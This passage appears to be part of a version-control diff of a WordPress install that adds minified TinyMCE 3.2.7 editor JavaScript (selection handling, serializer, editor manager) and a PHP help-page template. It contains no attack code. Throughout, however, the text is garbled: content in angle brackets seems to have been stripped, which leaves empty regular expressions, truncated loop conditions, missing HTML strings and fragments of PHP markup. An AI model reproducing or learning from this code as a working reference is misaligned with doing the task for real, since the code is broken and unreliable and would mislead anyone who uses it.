true}g=p.createRange();g.moveToElementText(j);g.collapse(true);g.moveStart("character",n.start);g.moveEnd("character",n.length)}catch(f){return true}}try{g.select()}catch(l){}return true}if(!p){return false}if(n.rng){p.removeAllRanges();p.addRange(n.rng)}else{if(b(n.start)&&b(n.end)){try{m=i(j,n.start,n.end);if(m){g=o.dom.doc.createRange();g.setStart(m.startNode,m.startOffset);g.setEnd(m.endNode,m.endOffset);p.removeAllRanges();p.addRange(g)}if(!c.isOpera){o.win.focus()}}catch(l){}}}},select:function(g,l){var p=this,f=p.getRng(),q=p.getSel(),o,m,k,j=p.win.document;function h(u,t){var s,r;if(u){s=j.createTreeWalker(u,NodeFilter.SHOW_TEXT,null,false);while(u=s.nextNode()){r=u;if(c.trim(u.nodeValue).length!=0){if(t){return u}else{r=u}}}}return r}if(a){try{o=j.body;if(/^(IMG|TABLE)$/.test(g.nodeName)){f=o.createControlRange();f.addElement(g)}else{f=o.createTextRange();f.moveToElementText(g)}f.select()}catch(i){}}else{if(l){m=h(g,1)||p.dom.select("br:first",g)[0];k=h(g,0)||p.dom.select("br:last",g)[0];if(m&&k){f=j.createRange();if(m.nodeName=="BR"){f.setStartBefore(m)}else{f.setStart(m,0)}if(k.nodeName=="BR"){f.setEndBefore(k)}else{f.setEnd(k,k.nodeValue.length)}}else{f.selectNode(g)}}else{f.selectNode(g)}p.setRng(f)}return g},isCollapsed:function(){var f=this,h=f.getRng(),g=f.getSel();if(!h||h.item){return false}return !g||h.boundingWidth==0||h.collapsed},collapse:function(f){var g=this,h=g.getRng(),i;if(h.item){i=h.item(0);h=this.win.document.body.createTextRange();h.moveToElementText(i)}h.collapse(!!f);g.setRng(h)},getSel:function(){var g=this,f=this.win;return f.getSelection?f.getSelection():f.document.selection},getRng:function(j){var g=this,h,i;if(j&&g.tridentSel){return g.tridentSel.getRangeAt(0)}try{if(h=g.getSel()){i=h.rangeCount>0?h.getRangeAt(0):(h.createRange?h.createRange():g.win.document.createRange())}}catch(f){}if(!i){i=a?g.win.document.body.createTextRange():g.win.document.createRange()}return i},setRng:function(i){var h,g=this;if(!g.tridentSel){h=g.getSel();if(h){h.removeAllRanges();h.addRange(i)}}else{if(i.cloneRange){g.tridentSel.addRange(i);return}try{i.select()}catch(f){}}},setNode:function(g){var f=this;f.setContent(f.dom.getOuterHTML(g));return g},getNode:function(){var f=this,h=f.getRng(),g=f.getSel(),i;if(!a){if(!h){return f.dom.getRoot()}i=h.commonAncestorContainer;if(!h.collapsed){if(c.isWebKit&&g.anchorNode&&g.anchorNode.nodeType==1){return g.anchorNode.childNodes[g.anchorOffset]}if(h.startContainer==h.endContainer){if(h.startOffset-h.endOffset<2){if(h.startContainer.hasChildNodes()){i=h.startContainer.childNodes[h.startOffset]}}}}return f.dom.getParent(i,"*")}return h.item?h.item(0):h.parentElement()},getSelectedBlocks:function(g,f){var i=this,j=i.dom,m,h,l,k=[];m=j.getParent(g||i.getStart(),j.isBlock);h=j.getParent(f||i.getEnd(),j.isBlock);if(m){k.push(m)}if(m&&h&&m!=h){l=m;while((l=l.nextSibling)&&l!=h){if(j.isBlock(l)){k.push(l)}}}if(h&&m!=h){k.push(h)}return k},destroy:function(g){var f=this;f.win=null;if(f.tridentSel){f.tridentSel.destroy()}if(!g){c.removeUnload(f.destroy)}}})})(tinymce);(function(a){a.create("tinymce.dom.XMLWriter",{node:null,XMLWriter:function(c){function b(){var e=document.implementation;if(!e||!e.createDocument){try{return new ActiveXObject("MSXML2.DOMDocument")}catch(d){}try{return new ActiveXObject("Microsoft.XmlDom")}catch(d){}}else{return e.createDocument("","",null)}}this.doc=b();this.valid=a.isOpera||a.isWebKit;this.reset()},reset:function(){var b=this,c=b.doc;if(c.firstChild){c.removeChild(c.firstChild)}b.node=c.appendChild(c.createElement("html"))},writeStartElement:function(c){var b=this;b.node=b.node.appendChild(b.doc.createElement(c))},writeAttribute:function(c,b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.setAttribute(c,b)},writeEndElement:function(){this.node=this.node.parentNode},writeFullEndElement:function(){var b=this,c=b.node;c.appendChild(b.doc.createTextNode(""));b.node=c.parentNode},writeText:function(b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.appendChild(this.doc.createTextNode(b))},writeCDATA:function(b){this.node.appendChild(this.doc.createCDATASection(b))},writeComment:function(b){if(a.isIE){b=b.replace(/^\-|\-$/g," ")}this.node.appendChild(this.doc.createComment(b.replace(/\-\-/g," ")))},getContent:function(){var b;b=this.doc.xml||new XMLSerializer().serializeToString(this.doc);b=b.replace(/<\?[^?]+\?>||<\/html>||]+>/g,"");b=b.replace(/ ?\/>/g," />");if(this.valid){b=b.replace(/\%MCGT%/g,">")}return b}})})(tinymce);(function(a){a.create("tinymce.dom.StringWriter",{str:null,tags:null,count:0,settings:null,indent:null,StringWriter:function(b){this.settings=a.extend({indent_char:" ",indentation:0},b);this.reset()},reset:function(){this.indent="";this.str="";this.tags=[];this.count=0},writeStartElement:function(b){this._writeAttributesEnd();this.writeRaw("<"+b);this.tags.push(b);this.inAttr=true;this.count++;this.elementCount=this.count},writeAttribute:function(d,b){var c=this;c.writeRaw(" "+c.encode(d)+'="'+c.encode(b)+'"')},writeEndElement:function(){var b;if(this.tags.length>0){b=this.tags.pop();if(this._writeAttributesEnd(1)){this.writeRaw("")}if(this.settings.indentation>0){this.writeRaw("\n")}}},writeFullEndElement:function(){if(this.tags.length>0){this._writeAttributesEnd();this.writeRaw("");if(this.settings.indentation>0){this.writeRaw("\n")}}},writeText:function(b){this._writeAttributesEnd();this.writeRaw(this.encode(b));this.count++},writeCDATA:function(b){this._writeAttributesEnd();this.writeRaw("");this.count++},writeComment:function(b){this._writeAttributesEnd();this.writeRaw("");this.count++},writeRaw:function(b){this.str+=b},encode:function(b){return b.replace(/[<>&"]/g,function(c){switch(c){case"<":return"<";case">":return">";case"&":return"&";case'"':return"""}return c})},getContent:function(){return this.str},_writeAttributesEnd:function(b){if(!this.inAttr){return}this.inAttr=false;if(b&&this.elementCount==this.count){this.writeRaw(" />");return false}this.writeRaw(">");return true}})})(tinymce);(function(e){var g=e.extend,f=e.each,b=e.util.Dispatcher,d=e.isIE,a=e.isGecko;function c(h){return h.replace(/([?+*])/g,".$1")}e.create("tinymce.dom.Serializer",{Serializer:function(j){var i=this;i.key=0;i.onPreProcess=new b(i);i.onPostProcess=new b(i);try{i.writer=new e.dom.XMLWriter()}catch(h){i.writer=new e.dom.StringWriter()}i.settings=j=g({dom:e.DOM,valid_nodes:0,node_filter:0,attr_filter:0,invalid_attrs:/^(mce_|_moz_|sizset|sizcache)/,closed:/^(br|hr|input|meta|img|link|param|area)$/,entity_encoding:"named",entities:"160,nbsp,161,iexcl,162,cent,163,pound,164,curren,165,yen,166,brvbar,167,sect,168,uml,169,copy,170,ordf,171,laquo,172,not,173,shy,174,reg,175,macr,176,deg,177,plusmn,178,sup2,179,sup3,180,acute,181,micro,182,para,183,middot,184,cedil,185,sup1,186,ordm,187,raquo,188,frac14,189,frac12,190,frac34,191,iquest,192,Agrave,193,Aacute,194,Acirc,195,Atilde,196,Auml,197,Aring,198,AElig,199,Ccedil,200,Egrave,201,Eacute,202,Ecirc,203,Euml,204,Igrave,205,Iacute,206,Icirc,207,Iuml,208,ETH,209,Ntilde,210,Ograve,211,Oacute,212,Ocirc,213,Otilde,214,Ouml,215,times,216,Oslash,217,Ugrave,218,Uacute,219,Ucirc,220,Uuml,221,Yacute,222,THORN,223,szlig,224,agrave,225,aacute,226,acirc,227,atilde,228,auml,229,aring,230,aelig,231,ccedil,232,egrave,233,eacute,234,ecirc,235,euml,236,igrave,237,iacute,238,icirc,239,iuml,240,eth,241,ntilde,242,ograve,243,oacute,244,ocirc,245,otilde,246,ouml,247,divide,248,oslash,249,ugrave,250,uacute,251,ucirc,252,uuml,253,yacute,254,thorn,255,yuml,402,fnof,913,Alpha,914,Beta,915,Gamma,916,Delta,917,Epsilon,918,Zeta,919,Eta,920,Theta,921,Iota,922,Kappa,923,Lambda,924,Mu,925,Nu,926,Xi,927,Omicron,928,Pi,929,Rho,931,Sigma,932,Tau,933,Upsilon,934,Phi,935,Chi,936,Psi,937,Omega,945,alpha,946,beta,947,gamma,948,delta,949,epsilon,950,zeta,951,eta,952,theta,953,iota,954,kappa,955,lambda,956,mu,957,nu,958,xi,959,omicron,960,pi,961,rho,962,sigmaf,963,sigma,964,tau,965,upsilon,966,phi,967,chi,968,psi,969,omega,977,thetasym,978,upsih,982,piv,8226,bull,8230,hellip,8242,prime,8243,Prime,8254,oline,8260,frasl,8472,weierp,8465,image,8476,real,8482,trade,8501,alefsym,8592,larr,8593,uarr,8594,rarr,8595,darr,8596,harr,8629,crarr,8656,lArr,8657,uArr,8658,rArr,8659,dArr,8660,hArr,8704,forall,8706,part,8707,exist,8709,empty,8711,nabla,8712,isin,8713,notin,8715,ni,8719,prod,8721,sum,8722,minus,8727,lowast,8730,radic,8733,prop,8734,infin,8736,ang,8743,and,8744,or,8745,cap,8746,cup,8747,int,8756,there4,8764,sim,8773,cong,8776,asymp,8800,ne,8801,equiv,8804,le,8805,ge,8834,sub,8835,sup,8836,nsub,8838,sube,8839,supe,8853,oplus,8855,otimes,8869,perp,8901,sdot,8968,lceil,8969,rceil,8970,lfloor,8971,rfloor,9001,lang,9002,rang,9674,loz,9824,spades,9827,clubs,9829,hearts,9830,diams,338,OElig,339,oelig,352,Scaron,353,scaron,376,Yuml,710,circ,732,tilde,8194,ensp,8195,emsp,8201,thinsp,8204,zwnj,8205,zwj,8206,lrm,8207,rlm,8211,ndash,8212,mdash,8216,lsquo,8217,rsquo,8218,sbquo,8220,ldquo,8221,rdquo,8222,bdquo,8224,dagger,8225,Dagger,8240,permil,8249,lsaquo,8250,rsaquo,8364,euro",valid_elements:"*[*]",extended_valid_elements:0,valid_child_elements:0,invalid_elements:0,fix_table_elements:1,fix_list_elements:true,fix_content_duplication:true,convert_fonts_to_spans:false,font_size_classes:0,font_size_style_values:0,apply_source_formatting:0,indent_mode:"simple",indent_char:"\t",indent_levels:1,remove_linebreaks:1,remove_redundant_brs:1,element_format:"xhtml"},j);i.dom=j.dom;if(j.remove_redundant_brs){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/(
    \s*)+<\/(p|h[1-6]|div|li)>/gi,function(n,m,o){if(/^
    \s*<\//.test(n)){return""}return n})})}if(j.element_format=="html"){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/<([^>]+) \/>/g,"<$1>")})}if(j.fix_list_elements){i.onPreProcess.add(function(v,s){var l,y,w=["ol","ul"],u,t,q,k=/^(OL|UL)$/,z;function m(r,x){var o=x.split(","),p;while((r=r.previousSibling)!=null){for(p=0;p=1767){f(i.dom.select("p table",l.node).reverse(),function(p){var o=i.dom.getParent(p.parentNode,"table,p");if(o.nodeName!="TABLE"){try{i.dom.split(o,p)}catch(m){}}})}})}},setEntities:function(p){var n=this,j,m,h={},o="",k;if(n.entityLookup){return}j=p.split(",");for(m=0;m1){f(q[1].split("|"),function(u){var p={},t;k=k||[];u=u.replace(/::/g,"~");u=/^([!\-])?([\w*.?~_\-]+|)([=:<])?(.+)?$/.exec(u);u[2]=u[2].replace(/~/g,":");if(u[1]=="!"){r=r||[];r.push(u[2])}if(u[1]=="-"){for(t=0;t=1767)){p=j.createHTMLDocument("");f(r.nodeName=="BODY"?r.childNodes:[r],function(h){p.body.appendChild(p.importNode(h,true))});if(r.nodeName!="BODY"){r=p.body.firstChild}else{r=p.body}i=k.dom.doc;k.dom.doc=p}k.key=""+(parseInt(k.key)+1);if(!q.no_events){q.node=r;k.onPreProcess.dispatch(k,q)}k.writer.reset();k._serializeNode(r,q.getInner);q.content=k.writer.getContent();if(i){k.dom.doc=i}if(!q.no_events){k.onPostProcess.dispatch(k,q)}k._postProcess(q);q.node=null;return e.trim(q.content)},_postProcess:function(n){var i=this,k=i.settings,j=n.content,m=[],l;if(n.format=="html"){l=i._protect({content:j,patterns:[{pattern:/(]*>)(.*?)(<\/script>)/g},{pattern:/(]*>)(.*?)(<\/noscript>)/g},{pattern:/(]*>)(.*?)(<\/style>)/g},{pattern:/(]*>)(.*?)(<\/pre>)/g,encode:1},{pattern:/()/g}]});j=l.content;if(k.entity_encoding!=="raw"){j=i._encode(j)}if(!n.set){j=j.replace(/

    \s+<\/p>|]+)>\s+<\/p>/g,k.entity_encoding=="numeric"?" 

    ":" 

    ");if(k.remove_linebreaks){j=j.replace(/\r?\n|\r/g," ");j=j.replace(/(<[^>]+>)\s+/g,"$1 ");j=j.replace(/\s+(<\/[^>]+>)/g," $1");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object) ([^>]+)>\s+/g,"<$1 $2>");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>\s+/g,"<$1>");j=j.replace(/\s+<\/(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>/g,"")}if(k.apply_source_formatting&&k.indent_mode=="simple"){j=j.replace(/<(\/?)(ul|hr|table|meta|link|tbody|tr|object|body|head|html|map)(|[^>]+)>\s*/g,"\n<$1$2$3>\n");j=j.replace(/\s*<(p|h[1-6]|blockquote|div|title|style|pre|script|td|li|area)(|[^>]+)>/g,"\n<$1$2>");j=j.replace(/<\/(p|h[1-6]|blockquote|div|title|style|pre|script|td|li)>\s*/g,"\n");j=j.replace(/\n\n/g,"\n")}}j=i._unprotect(j,l);j=j.replace(//g,"");if(k.entity_encoding=="raw"){j=j.replace(/

     <\/p>|]+)> <\/p>/g,"\u00a0

    ")}j=j.replace(/]+|)>([\s\S]*?)<\/noscript>/g,function(h,p,o){return""+i.dom.decode(o.replace(//g,""))+""})}n.content=j},_serializeNode:function(D,o){var z=this,A=z.settings,x=z.writer,q,j,u,F,E,G,B,h,y,k,r,C,p,m;if(!A.node_filter||A.node_filter(D)){switch(D.nodeType){case 1:if(D.hasAttribute?D.hasAttribute("mce_bogus"):D.getAttribute("mce_bogus")){return}p=false;q=D.hasChildNodes();k=D.getAttribute("mce_name")||D.nodeName.toLowerCase();if(d){if(D.scopeName!=="HTML"&&D.scopeName!=="html"){k=D.scopeName+":"+k}}if(k.indexOf("mce:")===0){k=k.substring(4)}if(!z.validElementsRE||!z.validElementsRE.test(k)||(z.invalidElementsRE&&z.invalidElementsRE.test(k))||o){p=true;break}if(d){if(A.fix_content_duplication){if(D.mce_serialized==z.key){return}D.mce_serialized=z.key}if(k.charAt(0)=="/"){k=k.substring(1)}}else{if(a){if(D.nodeName==="BR"&&D.getAttribute("type")=="_moz"){return}}}if(z.childRules){if(z.parentElementsRE.test(z.elementName)){if(!z.childRules[z.elementName].test(k)){p=true;break}}z.elementName=k}r=z.findRule(k);k=r.name||k;m=A.closed.test(k);if((!q&&r.noEmpty)||(d&&!k)){p=true;break}if(r.requiredAttribs){G=r.requiredAttribs;for(F=G.length-1;F>=0;F--){if(this.dom.getAttrib(D,G[F])!==""){break}}if(F==-1){p=true;break}}x.writeStartElement(k);if(r.attribs){for(F=0,B=r.attribs,E=B.length;F-1;F--){h=B[F];if(h.specified){G=h.nodeName.toLowerCase();if(A.invalid_attrs.test(G)||!r.validAttribsRE.test(G)){continue}C=z.findAttribRule(r,G);y=z._getAttrib(D,C,G);if(y!==null){x.writeAttribute(G,y)}}}}if(k==="script"&&e.trim(D.innerHTML)){x.writeText("// ");x.writeCDATA(D.innerHTML.replace(/|<\[CDATA\[|\]\]>/g,""));q=false;break}if(r.padd){if(q&&(u=D.firstChild)&&u.nodeType===1&&D.childNodes.length===1){if(u.hasAttribute?u.hasAttribute("mce_bogus"):u.getAttribute("mce_bogus")){x.writeText("\u00a0")}}else{if(!q){x.writeText("\u00a0")}}}break;case 3:if(z.childRules&&z.parentElementsRE.test(z.elementName)){if(!z.childRules[z.elementName].test(D.nodeName)){return}}return x.writeText(D.nodeValue);case 4:return x.writeCDATA(D.nodeValue);case 8:return x.writeComment(D.nodeValue)}}else{if(D.nodeType==1){q=D.hasChildNodes()}}if(q&&!m){u=D.firstChild;while(u){z._serializeNode(u);z.elementName=k;u=u.nextSibling}}if(!p){if(!m){x.writeFullEndElement()}else{x.writeEndElement()}}},_protect:function(j){var i=this;j.items=j.items||[];function h(l){return l.replace(/[\r\n\\]/g,function(m){if(m==="\n"){return"\\n"}else{if(m==="\\"){return"\\\\"}}return"\\r"})}function k(l){return l.replace(/\\[\\rn]/g,function(m){if(m==="\\n"){return"\n"}else{if(m==="\\\\"){return"\\"}}return"\r"})}f(j.patterns,function(l){j.content=k(h(j.content).replace(l.pattern,function(n,o,m,p){m=k(m);if(l.encode){m=i._encode(m)}j.items.push(m);return o+""+p}))});return j},_unprotect:function(i,j){i=i.replace(/\"))}if(a&&j.ListBox){if(a.Button||a.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarEnd"},b.createHTML("span",null,""))}}if(b.stdMode){e+=''+j.renderHTML()+""}else{e+=""+j.renderHTML()+""}if(f&&j.ListBox){if(f.Button||f.SplitButton){e+=b.createHTML("td",{"class":"mceToolbarStart"},b.createHTML("span",null,""))}}}g="mceToolbarEnd";if(j.Button){g+=" mceToolbarEndButton"}else{if(j.SplitButton){g+=" mceToolbarEndSplitButton"}else{if(j.ListBox){g+=" mceToolbarEndListBox"}}}e+=b.createHTML("td",{"class":g},b.createHTML("span",null,""));return b.createHTML("table",{id:l.id,"class":"mceToolbar"+(m["class"]?" "+m["class"]:""),cellpadding:"0",cellspacing:"0",align:l.settings.align||""},""+e+"")}});(function(b){var a=b.util.Dispatcher,c=b.each;b.create("tinymce.AddOnManager",{items:[],urls:{},lookup:{},onAdd:new a(this),get:function(d){return this.lookup[d]},requireLangPack:function(f){var d,e=b.EditorManager.settings;if(e&&e.language){d=this.urls[f]+"/langs/"+e.language+".js";if(!b.dom.Event.domLoaded&&!e.strict_mode){b.ScriptLoader.load(d)}else{b.ScriptLoader.add(d)}}},add:function(e,d){this.items.push(d);this.lookup[e]=d;this.onAdd.dispatch(this,e,d);return d},load:function(h,e,d,g){var f=this;if(f.urls[h]){return}if(e.indexOf("/")!=0&&e.indexOf("://")==-1){e=b.baseURL+"/"+e}f.urls[h]=e.substring(0,e.lastIndexOf("/"));b.ScriptLoader.add(e,d,g)}});b.PluginManager=new b.AddOnManager();b.ThemeManager=new b.AddOnManager()}(tinymce));(function(f){var g=f.each,h=f.extend,e=f.DOM,a=f.dom.Event,c=f.ThemeManager,b=f.PluginManager,d=f.explode;f.create("static tinymce.EditorManager",{editors:{},i18n:{},activeEditor:null,preInit:function(){var i=this,j=window.location;f.documentBaseURL=j.href.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,"");if(!/[\/\\]$/.test(f.documentBaseURL)){f.documentBaseURL+="/"}f.baseURL=new f.util.URI(f.documentBaseURL).toAbsolute(f.baseURL);f.EditorManager.baseURI=new f.util.URI(f.baseURL);i.onBeforeUnload=new f.util.Dispatcher(i);a.add(window,"beforeunload",function(k){i.onBeforeUnload.dispatch(i,k)})},init:function(q){var p=this,l,k=f.ScriptLoader,o,n,i=[],m;function j(u,v,r){var t=u[v];if(!t){return}if(f.is(t,"string")){r=t.replace(/\.\w+$/,"");r=r?f.resolve(r):0;t=f.resolve(t)}return t.apply(r||this,Array.prototype.slice.call(arguments,2))}q=h({theme:"simple",language:"en",strict_loading_mode:document.contentType=="application/xhtml+xml"},q);p.settings=q;if(!a.domLoaded&&!q.strict_loading_mode){if(q.language){k.add(f.baseURL+"/langs/"+q.language+".js")}if(q.theme&&q.theme.charAt(0)!="-"&&!c.urls[q.theme]){c.load(q.theme,"themes/"+q.theme+"/editor_template"+f.suffix+".js")}if(q.plugins){l=d(q.plugins);g(l,function(r){if(r&&r.charAt(0)!="-"&&!b.urls[r]){if(!f.isWebKit&&r=="safari"){return}b.load(r,"plugins/"+r+"/editor_plugin"+f.suffix+".js")}})}k.loadQueue()}a.add(document,"init",function(){var r,t;j(q,"onpageload");if(q.browsers){r=false;g(d(q.browsers),function(u){switch(u){case"ie":case"msie":if(f.isIE){r=true}break;case"gecko":if(f.isGecko){r=true}break;case"safari":case"webkit":if(f.isWebKit){r=true}break;case"opera":if(f.isOpera){r=true}break}});if(!r){return}}switch(q.mode){case"exact":r=q.elements||"";if(r.length>0){g(d(r),function(u){if(e.get(u)){m=new f.Editor(u,q);i.push(m);m.render(1)}else{o=0;g(document.forms,function(v){g(v.elements,function(w){if(w.name===u){u="mce_editor_"+o;e.setAttrib(w,"id",u);m=new f.Editor(u,q);i.push(m);m.render(1)}})})}})}break;case"textareas":case"specific_textareas":function s(v,u){return u.constructor===RegExp?u.test(v.className):e.hasClass(v,u)}g(e.select("textarea"),function(u){if(q.editor_deselector&&s(u,q.editor_deselector)){return}if(!q.editor_selector||s(u,q.editor_selector)){n=e.get(u.name);if(!u.id&&!n){u.id=u.name}if(!u.id||p.get(u.id)){u.id=e.uniqueId()}m=new f.Editor(u.id,q);i.push(m);m.render(1)}});break}if(q.oninit){r=t=0;g(i,function(u){t++;if(!u.initialized){u.onInit.add(function(){r++;if(r==t){j(q,"oninit")}})}else{r++}if(r==t){j(q,"oninit")}})}})},get:function(i){return this.editors[i]},getInstanceById:function(i){return this.get(i)},add:function(i){this.editors[i.id]=i;this._setActive(i);return i},remove:function(j){var i=this;if(!i.editors[j.id]){return null}delete i.editors[j.id];if(i.activeEditor==j){i._setActive(null);g(i.editors,function(k){i._setActive(k);return false})}j.destroy();return j},execCommand:function(o,m,l){var n=this,k=n.get(l),i;switch(o){case"mceFocus":k.focus();return true;case"mceAddEditor":case"mceAddControl":if(!n.get(l)){new f.Editor(l,n.settings).render()}return true;case"mceAddFrameControl":i=l.window;i.tinyMCE=tinyMCE;i.tinymce=f;f.DOM.doc=i.document;f.DOM.win=i;k=new f.Editor(l.element_id,l);k.render();if(f.isIE){function j(){k.destroy();i.detachEvent("onunload",j);i=i.tinyMCE=i.tinymce=null}i.attachEvent("onunload",j)}l.page_window=null;return true;case"mceRemoveEditor":case"mceRemoveControl":if(k){k.remove()}return true;case"mceToggleEditor":if(!k){n.execCommand("mceAddControl",0,l);return true}if(k.isHidden()){k.show()}else{k.hide()}return true}if(n.activeEditor){return n.activeEditor.execCommand(o,m,l)}return false},execInstanceCommand:function(m,l,k,j){var i=this.get(m);if(i){return i.execCommand(l,k,j)}return false},triggerSave:function(){g(this.editors,function(i){i.save()})},addI18n:function(k,l){var i,j=this.i18n;if(!f.is(k,"string")){g(k,function(n,m){g(n,function(q,p){g(q,function(s,r){if(p==="common"){j[m+"."+r]=s}else{j[m+"."+p+"."+r]=s}})})})}else{g(l,function(n,m){j[k+"."+m]=n})}},_setActive:function(i){this.selectedInstance=this.activeEditor=i}});f.EditorManager.preInit()})(tinymce);var tinyMCE=window.tinyMCE=tinymce.EditorManager;(function(n){var o=n.DOM,k=n.dom.Event,f=n.extend,l=n.util.Dispatcher;var j=n.each,a=n.isGecko,b=n.isIE,e=n.isWebKit;var d=n.is,h=n.ThemeManager,c=n.PluginManager,i=n.EditorManager;var p=n.inArray,m=n.grep,g=n.explode;n.create("tinymce.Editor",{Editor:function(u,r){var q=this;q.id=q.editorId=u;q.execCommands={};q.queryStateCommands={};q.queryValueCommands={};q.isNotDirty=false;q.plugins={};j(["onPreInit","onBeforeRenderUI","onPostRender","onInit","onRemove","onActivate","onDeactivate","onClick","onEvent","onMouseUp","onMouseDown","onDblClick","onKeyDown","onKeyUp","onKeyPress","onContextMenu","onSubmit","onReset","onPaste","onPreProcess","onPostProcess","onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent","onLoadContent","onSaveContent","onNodeChange","onChange","onBeforeExecCommand","onExecCommand","onUndo","onRedo","onVisualAid","onSetProgressState"],function(s){q[s]=new l(q)});q.settings=r=f({id:u,language:"en",docs_language:"en",theme:"simple",skin:"default",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:n.documentBaseURL,add_form_submit_trigger:1,submit_patch:1,add_unload_trigger:1,convert_urls:1,relative_urls:1,remove_script_host:1,table_inline_editing:0,object_resizing:1,cleanup:1,accessibility_focus:1,custom_shortcuts:1,custom_undo_redo_keyboard_shortcuts:1,custom_undo_redo_restore_selection:1,custom_undo_redo:1,doctype:'',visual_table_class:"mceItemTable",visual:1,inline_styles:true,convert_fonts_to_spans:true,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",apply_source_formatting:1,directionality:"ltr",forced_root_block:"p",valid_elements:"@[id|class|style|title|dir';if(G.document_base_url!=n.documentBaseURL){F.iframeHTML+=''}F.iframeHTML+='';if(n.relaxedDomain){F.iframeHTML+=' + + +text_direction) ) : ?> + + + + + + + + +
      +
    • +
    • +
    • +
    • +
    + +
    + +
    +

    +

    Rich editing, also called WYSIWYG for What You See Is What You Get, means your text is formatted as you type. The rich editor creates HTML code behind the scenes while you concentrate on writing. Font styles, links and images all appear approximately as they will on the internet.') ?>

    +

    +

    +

    +
    + + + + + + +
    + +
    +
    + +
    +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/wp-tinymce.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/wp-tinymce.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,28 @@ +//core +var tinymce={majorVersion:"3",minorVersion:"2.7",releaseDate:"2009-09-22",_init:function(){var o=this,k=document,l=window,j=navigator,b=j.userAgent,h,a,g,f,e,m;o.isOpera=l.opera&&opera.buildNumber;o.isWebKit=/WebKit/.test(b);o.isIE=!o.isWebKit&&!o.isOpera&&(/MSIE/gi).test(b)&&(/Explorer/gi).test(j.appName);o.isIE6=o.isIE&&/MSIE [56]/.test(b);o.isGecko=!o.isWebKit&&/Gecko/.test(b);o.isMac=b.indexOf("Mac")!=-1;o.isAir=/adobeair/i.test(b);if(l.tinyMCEPreInit){o.suffix=tinyMCEPreInit.suffix;o.baseURL=tinyMCEPreInit.base;o.query=tinyMCEPreInit.query;return}o.suffix="";a=k.getElementsByTagName("base");for(h=0;h=c.length){for(e=0,b=g.length;e=c.length||g[e]!=c[e]){f=e+1;break}}}if(g.length=g.length||g[e]!=c[e]){f=e+1;break}}}if(f==1){return h}for(e=0,b=g.length-(f-1);e=0;c--){if(f[c].length==0||f[c]=="."){continue}if(f[c]==".."){b++;continue}if(b>0){b--;continue}h.push(f[c])}c=e.length-b;if(c<=0){g=h.reverse().join("/")}else{g=e.slice(0,c).join("/")+"/"+h.reverse().join("/")}if(g.indexOf("/")!==0){g="/"+g}if(d&&g.lastIndexOf("/")!==g.length-1){g+=d}return g},getURI:function(d){var c,b=this;if(!b.source||d){c="";if(!d){if(b.protocol){c+=b.protocol+"://"}if(b.userInfo){c+=b.userInfo+"@"}if(b.host){c+=b.host}if(b.port){c+=":"+b.port}}if(b.path){c+=b.path}if(b.query){c+="?"+b.query}if(b.anchor){c+="#"+b.anchor}b.source=c}return b.source}})})();(function(){var a=tinymce.each;tinymce.create("static tinymce.util.Cookie",{getHash:function(d){var b=this.get(d),c;if(b){a(b.split("&"),function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return unescape(h.substring(d+f.length,g))},set:function(i,b,g,f,h,c){document.cookie=i+"="+escape(b)+((g)?"; expires="+g.toGMTString():"")+((f)?"; path="+escape(f):"")+((h)?"; domain="+h:"")+((c)?"; secure":"")},remove:function(e,b){var c=new Date();c.setTime(c.getTime()-1000);this.set(e,"",c,b,c)}})})();tinymce.create("static tinymce.util.JSON",{serialize:function(e){var c,a,d=tinymce.util.JSON.serialize,b;if(e==null){return"null"}b=typeof e;if(b=="string"){a="\bb\tt\nn\ff\rr\"\"''\\\\";return'"'+e.replace(/([\u0080-\uFFFF\x00-\x1f\"])/g,function(g,f){c=a.indexOf(f);if(c+1){return"\\"+a.charAt(c+1)}g=f.charCodeAt().toString(16);return"\\u"+"0000".substring(g.length)+g})+'"'}if(b=="object"){if(e.hasOwnProperty&&e instanceof Array){for(c=0,a="[";c0?",":"")+d(e[c])}return a+"]"}a="{";for(c in e){a+=typeof e[c]!="function"?(a.length>1?',"':'"')+c+'":'+d(e[c]):""}return a+"}"}return""+e},parse:function(s){try{return eval("("+s+")")}catch(ex){}}});tinymce.create("static tinymce.util.XHR",{send:function(g){var a,e,b=window,h=0;g.scope=g.scope||this;g.success_scope=g.success_scope||g.scope;g.error_scope=g.error_scope||g.scope;g.async=g.async===false?false:true;g.data=g.data||"";function d(i){a=0;try{a=new ActiveXObject(i)}catch(c){}return a}a=b.XMLHttpRequest?new XMLHttpRequest():d("Microsoft.XMLHTTP")||d("Msxml2.XMLHTTP");if(a){if(a.overrideMimeType){a.overrideMimeType(g.content_type)}a.open(g.type||(g.data?"POST":"GET"),g.url,g.async);if(g.content_type){a.setRequestHeader("Content-Type",g.content_type)}a.setRequestHeader("X-Requested-With","XMLHttpRequest");a.send(g.data);function f(){if(!g.async||a.readyState==4||h++>10000){if(g.success&&h<10000&&a.status==200){g.success.call(g.success_scope,""+a.responseText,a,g)}else{if(g.error){g.error.call(g.error_scope,h>10000?"TIMED_OUT":"GENERAL",a,g)}}a=null}else{b.setTimeout(f,10)}}if(!g.async){return 